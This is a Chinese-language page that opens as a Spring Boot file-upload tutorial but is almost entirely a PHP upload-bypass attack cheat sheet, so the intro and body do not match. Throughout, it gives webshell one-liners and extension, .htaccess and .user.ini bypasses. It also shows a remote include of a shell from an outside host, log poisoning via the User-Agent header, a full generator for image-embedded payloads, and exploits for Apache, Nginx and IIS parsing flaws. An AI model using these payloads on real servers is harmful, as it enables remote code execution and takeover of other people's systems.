文件上传是Web应用开发中常见的需求之一,Spring Boot提供了便捷的方式来实现文件上传功能。本篇技术长博文将详细介绍如何在Spring Boot应用中实现文件上传,包括前端页面、Controller处理、文件存储以及安全性考虑,通过代码示例演示了实际操作。
一句话木马
<?php eval($_POST[x]); ?>
<?=eval($_POST[x]);?>
<?=system('tac ../fl*');?>
<?php eval($_POST{x}); ?>
<?=eval($_POST{x});?>
# 使用反引号效果和shell_exec()相同
<?`tac ../fl*`?>
黑名单绕过
# 穷举后缀绕过
burp抓包导入字典爆破
# 文件扩展名php3.php5
# .htaccess绕过
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
# 大小写绕过
shell.PHP
# 双写绕过
shell.phphpp
### PHP nts5.2.17版本
# 空格绕过
抓包在filename后加空格
# 点绕过
抓包在filename后加.
# ::$DATA绕过
抓包,在filename后面加::$DATA
# 点空格点绕过
抓包,在filename后面加. .
3w后缀名字典地址
.user.ini文件
auto_prepend_file=1.png
文件头判断
# 通过上传文件头特征判断
auto_prepend_file=png
GIF89a
<?=include='http://xxx.xxx.xxx.com/shell.txt'?>
短网址生成:https://bejson.com/convert/ip2int/
UA头(日志文件包含)
# 上传php索引(index.php)
# .user.ini
auto_prepend_file=log.png
# 写入shell
User-Agent: <?php @eval($_POST[x]);?>
# log.png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
文件二次渲染绕过
区分
将上传图片与本地图片展开对比
# 使用二进制读取器对比俩张图片共同点,将后门代码写入到共同体中
二进制图片对比工具 : HexCmp2_Setup.zip
文本内容对比工具 :Beyond Compare
图片马
windows: copy test.git /b + shell.php /a shell.gif
linux: cat test.jpg shell.php > shell.jpg
自动生成
png使用方法
# png.php
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
# 使用
http://localhost/png.php
# 利用
https://xxxx.xxx.com/shell.png&0=system
1=phpinfo();
jpg使用方法
# jpg.php
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
# 使用
php jpg.php shell.jpg
> payload_shell.jpg
.htaccess文件
AddType application/x-httpd-php .jpg
免杀型脚本代码
# 变量绕过
<?php $a='syst'.'em';$a('tac ../flag.php');?>
# 上传php索引(index.php)
# .user.ini
auto_prepend_file=/var/log/nginx/access.log
CVE-2017-15715(Apache HTTPD 换行解析漏洞)
# Apache2.4.0 ~ 2.4.29版本
# 通过上传脚本后缀增加%0a
# burp抓包将Hex中的`name="name"evil.php`对应的70后面改为0a
# 通过浏览器访问上传文件名字(evil.php%0a)
IIS 未知后缀解析漏洞
# IIS 6.0 / 7.x
# 上传文件多后缀
shell.asp;.jpg
upload.asp/jpg
CVE-2013-4547(Nginx文件名逻辑漏洞)
# Nginx0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
# 我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20]
GET /uploadfiles/3.jpg .php HTTP/1.1
# 随便上传一张图片马,然后在访问图片后加一个`/.php`
http://localhsot/upload/test.png/.php
编辑器(历史漏洞)
Web应用应用了第第三方插件
# ueditor
# fckeditor
# kindeditor
# ewebeditor
系统特性
# 目录下生成shell.php空白文件
shell.php:.jpg
# php+windows+iis
" = .
> = ?
< = *
# 写入文件
___________________________________________________________________
Content-Disposition: from-data; name="file"; filename="shell.<<<"
Content-Type: application/octet-stream
<?php
phpinfo();
eval($_POST['X']);
?>
___________________________________________________________________
# NTFS交换数据流
:$DATA 创建文件
::$DATA 创建和写入文件
# 创建文件
___________________________________________________________________
Content-Disposition: from-data; name="file"; filename="shell.php:$DATA"
Content-Type: application/octet-stream
<?php
phpinfo();
eval($_POST['X']);
?>
______
# 写入文件
___________________________________________________________________
Content-Disposition: from-data; name="file"; filename="shell.php::$DATA"
Content-Type: application/octet-stream
<?php
phpinfo();
eval($_POST['X']);
?>
______